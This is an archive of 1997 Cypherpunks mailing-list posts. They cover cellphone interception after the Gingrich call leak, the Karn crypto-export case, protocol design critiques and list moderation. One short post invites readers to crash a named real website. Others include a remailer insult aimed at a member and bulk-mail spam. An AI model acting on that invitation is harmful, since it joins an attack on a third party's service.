Content-Type: text/plain


At 08:37 PM 1/13/97 -0500, Declan McCullagh wrote:
>Don't be too sure that crypto is that far beneath the radar. I spent
>Thursday through Saturday at an annual privacy conference for activists
>from around the country, and they understood the principles. Their
>voicemails were filling up with calls from reporters last Friday about the
>Gingrich incident, and I know they were talking crypto.
...
Believe me, at least around here it is.
I am a college student studying computer science, and 80% of the people that
I talk to on a regular basis not only know how to play around with windows,
(and Netscape), but also at least a modicum of simple fixes to simple
problems, (such as unformatting a DOS disk).  This is what I consider to be
bottom level for that 80%, however, very few of them know even as much about
cryptography as I do.  And I barely know how to use PGP.
I have had Computer Science professors express ignorance as to what PGP is,
much less all of these others that I have learned about by hanging around here.
A few people know what crypto is, but most don't.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 14 Jan 1997 14:28:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Karn case challenging crypto rules -- oral arguments online
Message-ID: <Pine.GSO.3.95.970114142331.12061A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I've placed my notes from and a report on last Friday's Karn crypto-
hearing online in the "Afterword" section of netlynews.com. (Incidentally,
Netly relaunched yesterday. Stop by and check it out). 

The oral arguments were a battle of metaphors: is the text of a
cryptographic algorithm more like a tank guidance system or a
Shakespearean sonnet? At one point Judge Williams compared a floppy disk
to "a machine." 

Judge Ginsberg is known as somewhat of a libertarian, a fellow who home
schools his child; he was considered for a Supreme Court seat until
reports of marijuana use derailed his bid. Judge Williams is a
conservative and a bit of a First Amendment purist -- at least in
traditional media. I think it was Williams who (correctly) dissented in
the _Turner_ "must carry" cable broadcasting case.

-Declan

---

Full text at "Afterword" -- http://netlynews.com/

United States Court of Appeals for the District of Columbia
Karn v. U.S. Department of State
January 10, 1997

Ken Bass, attorney for Phil Karn: The government says this diskette
cannot be exported. Period. They claim to make an argument that even
though it is identical information, it's worth restricting this
diskette... We submit that it is an arbitrary, capricious, and totally
irrational decision for the government to draw such a distinction...

Judge Ginsberg: Can the courts evaluate the military and security
distinction between the disks and the book?

Bass: The Supreme Court said it can. The mere intimation of national
security is not some talismanic trump card.

Judge Ginsberg: But that's not what they're doing. They're putting
something on the munitions list. In what way can we say that's not
significant militarily?

Bass: Courts are not incompetent to review decisions to see if they're
irrational...

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Tue, 14 Jan 1997 14:36:45 -0800 (PST)
To: michael.tighe@Central.Sun.COM (Michael Tighe SUN IMP)
Subject: Re: Newt's phone calls
In-Reply-To: <199701142058.OAA05219@jeep.Central.Sun.COM>
Message-ID: <199701142233.OAA15724@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Tighe SUN IMP writes:
> 
> Bill Stewart writes:
> 
> >Tapping cellphones is more trouble than tapping wired phones -
> >they move around, and to tap them from the phone company end
> >requires taps everywhere that you activate when you know where
> >somebody is.
> 
> Exactly. So how come mom&pop with a scanner were able to record BOTH sides
> of the conversation without interruption?

If the person with the cell phone doesn't move, then they don't
get handed off to a different cell.  That means that they
stay on the same frquency.  No need to scan channels if they don't switch.

What Bill's saying is that it is difficult to tap the cell phone of
a _particular_ person with just a scanner.  However the people
who taped Newt were just scanning for whatever they could get.  That's easy.

> This seems pretty suspicious to
> me. I think Old Newt was targeted by someone inside the phone company, who
> was eavesdropping on all of his cell calls.

Let's not be paranoid.

It was a conference call, and someone other than Newt was the party
with the cell phone (sorry I forgot the guys name, some representative).
Do you think they (whoever 'they' are) were tapping the phones of
everyone that Newt might talk to?

-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bruce M." <bkmarsh@feist.com>
Date: Tue, 14 Jan 1997 12:44:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <199701140349.VAA01437@mailhub.amaranth.com>
Message-ID: <Pine.BSI.3.91.970114144151.990J-100000@wichita.fn.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 13 Jan 1997, William H. Geiger III wrote:

> There is a very basic reason that cell phones are not encrypted; the government does not
> want them encrypted. Many an arrest has been made from infromation gathered from
> cell/wireless phone conversations. AFAIK the police do not even need a search warent to do
> this.
> 
> With the cell phone industry regulated by the FCC I doubt that you will ever
> see cell phone's with built in encryption.
> 
> As far as the general public is concerned the majority are sheep. They are
> quite content to know that it is illegal for their neighbor to listen in and
> ofcource Big Brother would only listen to those nasty drug dealers & mobsters.

    A decent article about the subject (one that also gives us some historical 
proof of the govt's desires) can be found at:

http://www.feist.com/~tqdb/h/062694-1.txt

    By the way, I'm finding all these articles on the page:

http://www.feist.com/~tqdb/evis-idx.html

for those who care.

             ____________________________________________________
            [ Bruce M. - bkmarsh@feist.com - Feist Systems, Inc. ]
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      "We don't want to get our butts kicked by a bunch of long-haired 
        26-year-olds with earrings." -- General John Sheehan on their 
                       reasons for InfoWar involvement





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Bostick <abostick@netcom.com>
Date: Tue, 14 Jan 1997 14:49:16 -0800 (PST)
To: Michael Tighe SUN IMP <michael.tighe@Central.Sun.COM>
Subject: Re: Newt's phone calls
In-Reply-To: <199701142058.OAA05219@jeep.Central.Sun.COM>
Message-ID: <Pine.3.89.9701141425.A3919-0100000@netcom18>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 14 Jan 1997, Michael Tighe SUN IMP wrote:

> Bill Stewart writes:
> 
> >Tapping cellphones is more trouble than tapping wired phones -
> >they move around, and to tap them from the phone company end
> >requires taps everywhere that you activate when you know where
> >somebody is.
> 
> Exactly. So how come mom&pop with a scanner were able to record BOTH sides
> of the conversation without interruption? This seems pretty suspicious to
> me. I think Old Newt was targeted by someone inside the phone company, who
> was eavesdropping on all of his cell calls.
> 

It is also possible that somewhere in the chain of information between
mom&pop, the media, and us, the distinction between "cordless phone"
and cellular phone.  I gather it was a conference call that was 
intercepted.  All it takes is one participant using a cordless phone in 
range of one scanner, and the whole conversation is compromised.

(Someone mentioned that they thought cordless phone intercepts weren't 
illegal the way cellular phone intercepts are.  IANAL, but I recall that
intercepting both was made illegal by the same legislation.)

Of course, if the phone in question was a cell phone that happened to 
be stationary -- like a handheld phone in someone's back yard or in a 
restaurant or whatever, the question of the call jumping cells is moot.

Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance.
news:alt.grelb             |      Jean Genet
http://www.alumni.caltech.edu/~abostick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: michael.tighe@Central.Sun.COM (Michael Tighe SUN IMP)
Date: Tue, 14 Jan 1997 12:59:28 -0800 (PST)
To: cypherpunks-errors@toad.com (Bill Stewart)
Subject: Re: Newt's phone calls
In-Reply-To: <3.0.1.32.19970114104854.0065cb80@popd.ix.netcom.com>
Message-ID: <199701142058.OAA05219@jeep.Central.Sun.COM>
MIME-Version: 1.0
Content-Type: text


Bill Stewart writes:

>Tapping cellphones is more trouble than tapping wired phones -
>they move around, and to tap them from the phone company end
>requires taps everywhere that you activate when you know where
>somebody is.

Exactly. So how come mom&pop with a scanner were able to record BOTH sides
of the conversation without interruption? This seems pretty suspicious to
me. I think Old Newt was targeted by someone inside the phone company, who
was eavesdropping on all of his cell calls.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nelson Minar <nelson@media.mit.edu>
Date: Tue, 14 Jan 1997 12:23:16 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: New US regs ban downloadable data-security software
In-Reply-To: <3.0.32.19970113210258.006ade10@192.100.81.126>
Message-ID: <cpag204huqp.fsf@hattrick.media.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


shamrock@netcom.com (Lucky Green) writes:
> Commercial data security software of any kind, regardless if it uses crypto
> or not, is however prohibited from being distributed via the Internet or
> being exported by any other means.

I can at least vaguely understand the rationale behind restricting the
export of cryptography. But I don't even begin to comprehend
restricting the export of data security software. What is going on
here? Whose idea is this, what is the agenda?

Is the US government really prepared to take on all the producers of
virus protection software? Symantec and IBM are pretty big players to
upset. And they don't even have the "drug dealers and terrorists"
bugbear to defend this particular export restriction.

In my more cynical mood I'm afraid that what's going on is the US
government is trying to protect its capability to wage information
warfare. Could they get away with this?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 14 Jan 1997 12:56:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <1.5.4.32.19970114205129.00682ddc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Omnipoint has a full-page ad in the New York Times today
which capitalizes on Newt's lack of privacy and claims that
its spread spectrum phone would have protected him with
with encryption and digital technology superior to cellular:

   http://www.omnipoint.com

Nokia, for one, touts its use of the CAVE encryption in its
latest unit, although its not clear which version.

The CAVE algorithm and implementation is now at:

   http://www.replay.com/mirror/cave/

News may be forthcoming about CAVE -- which, to remind,
is an acronym for Caller Authentication and Voice Encryption.

It has apparently gone through several versions -- whether
getting progressively stronger or weaker is a question soon to 
be answered authentically?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: spiderman@emirates.net.ae
Date: Tue, 14 Jan 1997 03:58:26 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: a cool place to crash
Message-ID: <199701141156.PAA13288@ns2.emirates.net.ae>
MIME-Version: 1.0
Content-Type: text/plain


If any of u guys wanna crash a site on the net try this one :
www.emirates.net.ae


enjoy  ....................................  
                                         





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 14 Jan 1997 13:46:26 -0800 (PST)
To: szymacz@efp.poznan.pl
Subject: Re: smart cards & Chinese Remainder Theorem (CRT)
In-Reply-To: <Pine.PCW.3.91.970114134409.10047A-100000@francolinus.EFP.Poznan.PL>
Message-ID: <Pine.LNX.3.95.970114164700.495C-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 14 Jan 1997 szymacz@efp.poznan.pl wrote:

> 	Could anybody explain me what do smart cards producers
> mean giving following parameters:
> - RSA signature time without CRT,
> - RSA signature time with CRT?
> 	I know what CRT is but I don't understand what are 
> the implications of generating signature with and without CRT
> (differences in security).

When the CRT is used, "p" and "q" have to be stored along with the secret key.
This may be require more memory than some cards have, but there aren't any
security problems with using the CRT.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Tue, 14 Jan 1997 14:15:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701142157.QAA13489@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. Maya has been a source of endless 
embarassments to his sympathizers on and off the net.

         |||~
        (0 0)
    _ooO_(_)_Ooo__ Tim C. Maya





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <null@infowar.com> (infowar)
Date: Tue, 14 Jan 1997 14:28:17 -0800 (PST)
To: "Betty G. O'Hearn" <betty@infowar.com>
Subject: Leaving the infowar list.
Message-ID: <199701142228.OAA05113@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your participation in this list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 14 Jan 1997 14:15:59 -0800 (PST)
To: Amanda Walker <cypherpunks@toad.com
Subject: Re: Hi again, and an invitation to kibitz
In-Reply-To: <199701140755.CAA04514@mail.intercon.com>
Message-ID: <Pine.LNX.3.95.970114165358.495D-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 14 Jan 1997, Amanda Walker wrote:

> Here's a sketch of the protocol:
> 
> (a) Server sends 8-byte challenge to client
> 
> (b) Client sends Microsoft NT authentication response to the server
>     (take the password in Unicode form, do an MD4 hash, pad with 0s to 21
>     bytes, split into 3 7-byte groups, use these as DES keys to encrypt
>     the challenge three times, send the 24-byte result as the response).

I think this can be strengthened in a few ways.  The third DES key generated
using this technique has an effective keylength of 16 bits.  If the password
is concatenated with the MD4 hash of the password and hashed a second time,
the first five bytes of the second hash value can be concatenated with the
first hash value to form the 21 byte string.  If the method you describe is
used, the third key can be brute-forced trivially, and the last two bytes of
the MD4 hash of the password will be known to the attacker.  I don't know how
detrimental this is to the system, but I think it would be better if this was
fixed.

If something like a time-stamp, or even the 8 byte challenge string, is run
through MD4 along with the password, the session key would be different each
time.  This would protect against known-plaintext attacks.

> 
> (c) If authentication fails, close the connection.
> 
> (d) If authentication succeeds, all subsequent traffic is enccrypted with
>     DES in CFB mode.  Until April :), the DES key used is taken from the
>     first 7 bytes of the MD4 hash of the password (after April, we expect
>     to switch to Diffie-Hellman key exchange first, followed by a revised
>     authentication handshake).

I believe the D-H patent expires sometime in September or October this year.
Since GATT was passed, patents now have a lifetime of 20 years past filing
date.

> - Using SHA (160 bit hash) instead of MD4
> - Using DES-EDE (112 bit key) instead of DES
> - Using Blowfish in CFB mode instead of DES
> - Using RC5 in CFB mode instead of DES (not likely unless RC5 is cheap)
> - Using RC4 (40 bit key) instead of DES (not likely)

Any unbroken cipher with a keyspace larger than that of DES would be better.
Blowfish seems to be pretty strong, and it has the added bonus of having a
computation intensive key setup.  I don't see any problems with using MD4, but
since speed doesn't seem to be an issue, SHA1 would be a reasonable choice.
It is not known whether H(H(pass),pass) is secure, so a hash with a 20 byte
output would eliminate the potential problem I described above.


Mark
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0ph2R2fjyq22PjIqmhlxODtn6AiVZt9C2xd6GW5uTmHvCaOhC8OCxg==
=ZTNy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 14 Jan 1997 11:00:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: another idea?
Message-ID: <853262592.523172.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > How about, we have
> > cypherpunks-raw: unmoderated 110% SPAM
> > cypherpunks: moderated by Sandy and other moderator.
> 
> That was the original proposal.
> Now that the 'discussion' has come around full circle, can we
> stop talking about it and DO it?

Am I to presume that we will be putting something in the "welcome to 
cypherpunks" message people get when they join to tell them how to 
subscribe to the uncensored list? - or are we going to have  
yet more censorship on this list which is rapidly degenerating 
into a playground of illuminati and elite censors???



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 14 Jan 1997 14:36:05 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Newt's phone calls
In-Reply-To: <199701142209.RAA26359@pathfinder.com>
Message-ID: <Pine.GSO.3.95.970114173320.24637A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


It's a gradual change, certainly. The Washinton Post hasn't mentied crypto
in their exhaustive covering of the subject. But I maintain it's not that
far beneath the radar. Watch the Lehrer Newhour (or whatever the hell it's
called now) tonight, for instance.

-Declan

On Tue, 14 Jan 1997, Sean Roach wrote:

> At 08:37 PM 1/13/97 -0500, Declan McCullagh wrote:
> >Don't be too sure that crypto is that far beneath the radar. I spent
> >Thursday through Saturday at an annual privacy conference for activists
> >from around the country, and they understood the principles. Their
> >voicemails were filling up with calls from reporters last Friday about the
> >Gingrich incident, and I know they were talking crypto.
> ...
> Believe me, at least around here it is.
> I am a college student studying computer science, and 80% of the people that
> I talk to on a regular basis not only know how to play around with windows,
> (and Netscape), but also at least a modicum of simple fixes to simple
> problems, (such as unformatting a DOS disk).  This is what I consider to be
> bottom level for that 80%, however, very few of them know even as much about
> cryptography as I do.  And I barely know how to use PGP.
> I have had Computer Science professors express ignorance as to what PGP is,
> much less all of these others that I have learned about by hanging around here.
> A few people know what crypto is, but most don't.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 14 Jan 1997 14:51:07 -0800 (PST)
To: gnu@toad.com (John Gilmore)
Subject: Re: Social Security/CommerceNet/PitneyBowes try digital signature W-2's
In-Reply-To: <199701142108.NAA03984@toad.com>
Message-ID: <199701142247.RAA21970@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Note that there's no mention of encryption or confidentiality.
ssa.gov gets network connectivity via BBNplanet.

Adam


John Gilmore wrote:
| Date: Tue, 14 Jan 97 10:06:55 EST
| From: John.T.Sabo@ssa.gov
| Message-Id: <9700148532.AA853265294@ccsmtpgw2.ssa.gov>
| To: members@lists.Commerce.Net
| Subject: Test Opportuity for CommerceNet Member Small Companies
| 
| +----------------------------------------------------------------------+
| This message was addressed to:  members@lists.commerce.net
| +----------------------------------------------------------------------+
| 
| To CommerceNet Members Who Are Small Employers:
| 
| CommerceNet member companies who are small employers (approximately 30
| employees) are invited to participate this month with the Social Security
| Administration and PitneyBowes, Inc. in an important proof-of-concept
| project in
| which the Social Security Administration will accept digitally-signed W-2 and
| W-3 data via the Internet, with PitneyBowes issuing test software and
| public key
| certificates to participating employers. (I mentioned this test at the
| December
| CommerceNet Members' meeting.)
| 
| Participation will require completion of a field test agreement with SSA,
| submission of a request for certification by PitneyBowes, and installation of
| software on a Windows PC which will enable the generation of a signature key
| pair as well as software which will generate, sign and transmit the wage
| data to
| Social Security.  The software also produces W-2 paper forms for
| distribution to
| employees.  If a company already uses a software product to create W-2's, the
| output file can be used for this test.  (Please note that the test is not
| designed to evaluate all aspects of public key cryptography - for example, no
| certification practice statement has been developed.)
| 
| If you are interested in participating in this important public/private sector
| test of digital signature wage reporting, please contact me as soon as
| possible
| and I'll arrange for Mr. Chuck Liptz, SSA's Project Manager, to contact you
| immediately to provide additional details.  (Chuck can also be reached
| directly
| at (410) 965-7057 or <chuck.liptz@ssa.gov>.
| 
| John Sabo
| Social Security Administration
| (410) 965-1550
| 
| ----------------------------------------------------------------------------
| James M. Galvin                                          galvin@commerce.net
| CommerceNet                                                  +1 410.203.2707
| 3209-A Corporate Court                                   FAX +1 410.203.2709
| Ellicott City, MD 21042                             http://www.commerce.net/
| http://www.eff.org/blueribbon                     http://www.eff.org/goldkey
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Tue, 14 Jan 1997 14:58:43 -0800 (PST)
To: Michael Tighe SUN IMP <michael.tighe@Central.Sun.COM>
Subject: Re: Newt's phone calls
In-Reply-To: <199701142058.OAA05219@jeep.Central.Sun.COM>
Message-ID: <Pine.GSO.3.95.970114175350.18725B-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


Mmmm.  I'm told that, on most cellphone calls, a scanner will present both
sides of the conversation on the same frequency.  Usually one side will be
louder.  Perhaps there's some feedback from a party's receiver back into
his transmitter?

bd


On Tue, 14 Jan 1997, Michael Tighe SUN IMP wrote:

> Bill Stewart writes:
> 
> >Tapping cellphones is more trouble than tapping wired phones -
> >they move around, and to tap them from the phone company end
> >requires taps everywhere that you activate when you know where
> >somebody is.
> 
> Exactly. So how come mom&pop with a scanner were able to record BOTH sides
> of the conversation without interruption? This seems pretty suspicious to
> me. I think Old Newt was targeted by someone inside the phone company, who
> was eavesdropping on all of his cell calls.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Tue, 14 Jan 1997 18:51:37 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: Newt's phone calls
In-Reply-To: <3.0.1.32.19970114104854.0065cb80@popd.ix.netcom.com>
Message-ID: <199701150158.RAA25901@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain


> Eavesdropping on cellphones is illegal, since there's an expectation of
> privacy.

Ummm,  Eavesdropping on cellphones is illegal, because it's illegal.
See the Electronic Communication Privacy Act (ECPA).  Since when does
anybody talking on a *radio* have an expectation of privacy?

Listening in on normal cordless phones is also now illegal, as a
result of the Communication Assistance to Law Enforcement Act (Digital
Telephony).

Recall that the early working name for Digital Telephony was "The
Digital Telephony and Privacy Improvement Act of 19XX".  Classic
piece of double speak.  The *privacy improvement* was the
criminalization of radio reception.

Eric




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: info@softcell
Date: Tue, 14 Jan 1997 18:46:33 -0800 (PST)
Subject: Bulk e mail software
Message-ID: <m0vkHlU-005X2uC@iq-mcp.iquest.net>
MIME-Version: 1.0
Content-Type: text/plain


Please put remove in the subject and press 
reply if you do not want mail from us

Would you like to bulk E-Mail without getting your service
terminated?

Get the software for FREE?

And not send mail to people who do not want it?

Just visit our web site located at.

http://www.softcell.net









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clay Olbon II <olbon@ix.netcom.com>
Date: Tue, 14 Jan 1997 18:01:59 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: Newt's phone calls
Message-ID: <1.5.4.16.19970114210400.0b2fe9a6@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:48 PM 1/14/97 -0800, you wrote:
>It is also possible that somewhere in the chain of information between
>mom&pop, the media, and us, the distinction between "cordless phone"
>and cellular phone.  I gather it was a conference call that was 
>intercepted.  All it takes is one participant using a cordless phone in 
>range of one scanner, and the whole conversation is compromised.

The congressman (Boehner? from Ohio) whose cellphone was "eavesdropped"
stated today that he was parked in the lot of a Waffle House in Lake City
FL.  The couple said that they just happened to be driving by when they
overheard and began taping the conversation.

I have a problem with making it illegal to listen to parts of the
electromagnetic spectrum.  Seems sort of unnatural.  Maybe they will decide
that people who can see the color green will go to jail next ;-)
Technological solutions are much more elegant.  Of course, they are not
nearly as sexy as legal remedies (I can't wait to see if the congressman who
gave it to the Times is indicted!)

       Clay

*******************************************************
Clay Olbon			    olbon@ix.netcom.com
sys-admin, engineer, programmer, statistitian, etc.
**********************************************tanstaafl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Tue, 14 Jan 1997 18:27:33 -0800 (PST)
To: michael.tighe@Central.Sun.COM
Subject: Re: Newt's phone calls
In-Reply-To: <199701142058.OAA05219@jeep.Central.Sun.COM>
Message-ID: <199701150204.SAA25917@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain



> Exactly. So how come mom&pop with a scanner were able to record BOTH sides
> of the conversation without interruption? This seems pretty suspicious to
> me. 

You typically only need to tune into either the forward or reverse
channel.  You can usually hear both sides (one may be down a few dB).
This is probably a result of acoustic coupling from the speaker into
the microphone on one or both ends (could also be near-end hybrid
echo).  You see the same situation on both cellular and the 49 MHz
cordless phones.

Eric




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Tue, 14 Jan 1997 09:17:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: TEST- don't read
Message-ID: <199701141717.SAA15340@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


test -dont read




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nelson Minar <nelson@media.mit.edu>
Date: Tue, 14 Jan 1997 15:48:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <v02140b03af01913cbaa5@[10.0.2.15]>
Message-ID: <cpau3ojom4p.fsf@hattrick.media.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


>> The take on this that we won't hear is: "This is outrageous!  Why don't
>> cell-phones offer encryption to ensure our privacy?"

A full page ad from the January 14, 1997 New York Times:

  Dear Mr. Speaker:
    If you'd rather not have
  your phone conversation
  overheard and printed word
  for word in the newspaper,
  next time use an Omnipoint
  wireless phone instead of a
  cellular phone.

The ad then explains that cell phone eavesdropping happnes all the
time, and offers Omnipoint, "a new 100% digital wireless phone system
that operates on a technology far superior to cellular. It encrypts
your voice so no one can listen in on your conversations. Or capture
any personal data transmissions."

It's a pretty funny ad.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Tue, 14 Jan 1997 18:59:45 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: People Who Need People...
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970115025832Z-34135@INET-03-IMC.itg.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


I was just going through a web service which, when you enter your city &
zip, will bring up all the businesses within that geographical area - 

	Leisure
	Travel
	Services
etc., then further sub-categorized into 

	Leisure: Restaurants (type: Greek, Italian, Chinese, etc.)
	Travel: Airlines, Hotels & Motels
etc.

plus further sub-categories.   I was mulling over the all the info which
can be quickly pulled up about these people and then remembered that
these are not just individual persons whose info I'm looking at, but
commercial establishments - companies with services & products which
they are offering to anyone.  So it's okay.  (Why?) Because they *want*
to be listed; they want information about themselves to be available to
anyone (anyone with money to spend, that is).  So it occurred to me:
when you need money, you want everyone to know where you are.<g>  This
could be further generalized into: when you need something, you want
everyone to know about it (in case anyone has a solution to your
plight).

What a different consideration it is, to think of persons separately
from their place of business or trade, where they don't want anything to
be known or broadcast (except at their individual discretion, consent,
release, etc.)   When you don't need anything - when you're full,
satisfied, and happy - you want 'outsiders' to leave you alone.

I think some people can really get confused as to where privacy begins
and marketing ends (or is it the other way, I get confused <g>).   I
know it's happened on this list, where arguments have developed over the
fine line of difference between contrasting "rights" to information -
i.e, while in the workplace vs while in the front yard on the sidewalk
of one's own house or walking around at the mall, etc.

Allowance, consent, personal prerogatives, authority over one's
decisions & choices - these concepts are all going to require much
thought and refinement of demarcation, as the line between being closed
or open to others, hidden or exposed, a little bit or a lot, here and/or
there, becomes finer and finer while the "net" widens and grows.   

That is, those who in the past have not felt the need to think much
about these things will now be confronted with the necessity of doing
so; of considering precisely what the fine line of difference is between
conflicting ideas about personal authority, privacy, and public access;
what they think is right or wrong, acceptable or intolerable, just from
the nature of the circumstances.  

(like Newt, for instance.)

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 14 Jan 1997 23:21:23 -0800 (PST)
To: source@iaccess.za
Subject: Re: MAJOR MSIE SECURITY BUG
Message-ID: <3.0.1.32.19970114182042.0062beb8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


It's rather self-serving to call this major lack-of-feature a
MAJOR SECURITY BUG.  Sure, it limits what you can do, but if it does
what it claims to do, it's not a bug, it's just lack of vision,
and there are _far_ more targets at Microsoft for complaints about that :-)
MAJOR SECURITY BUGs are things like ActiveX and JavaScript-you-can't-turn-
off.  At least they seem to take a fail-secure approach to unknown CAs
(even if it is fail-hostilely) rather than a more typical Microsoft
fail-insecure-but-friendly fallback.

The interesting capability that setting your own CAs isn't just that
it lets you choose which service providers can be roots of a hierarchical 
tree-of-CAs model - it's that it lets you go beyond that model
to support a web-of-trust model like PGP's, which is a Good Thing.
You can duplicate this in a hierarchical world (if you must :-)
by being the your own CA tree root, and certifying the other CAs you like.

Netscape's original SSL implementations also only supported one
CA root (Verisign), but after they got that working, they added
user-selected CAs as well.  Maybe MS will add this later?  


At 11:23 AM 1/10/97 GMT+2, source@iaccess.za wrote:
>MSIE has a MAJOR security flaw in that it limits MSIE users to a very
>restricted set of secure sites ONLY.  Netscape Navigator does not have
> this MAJOR limitation.
>The bugs prevents access to Secure Servers other that those which MS 
>has decided to grant a monopoly to.  This is both limiting to users 
>and inhibits Servers to their choice of Certificate Authorities. 
......
>When MSIE does not recognise a Certificate Authority, it prompts the
>user by saying it cannot connect to that site and gives the user no
>opportunity to connect or access the Certificate Authority.
>One of the ways the Certificate authorities are getting around this 
>problem is to publish a page listing their certificates. 
>The problem however is that users have to know this in advance and 
>MSIE gives no indication that this is
>what needs to be done or where to go.
....
>CompuSource in South Africa tries to accomnodate MSIE users by [.....]
>https://www.compusource.co.za    [.....]
>Regards,
>The Power Team
>SMTP:   source@iaccess.za               Tel:    +27-21-75-9197
>HTTP:   http://www.compusource.co.za    FAX:    +27-21-72-8005
>FTP:    ftp://ftp.compusource.co.za     Postal: Building 6, Room 201
>                                        CompuSource (Pty) Ltd


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Tue, 14 Jan 1997 19:10:04 -0800 (PST)
To: olbon@ix.netcom.com (Clay Olbon II)
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970114210400.0b2fe9a6@popd.ix.netcom.com>
Message-ID: <199701150307.TAA18846@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Clay Olbon II writes:
> 
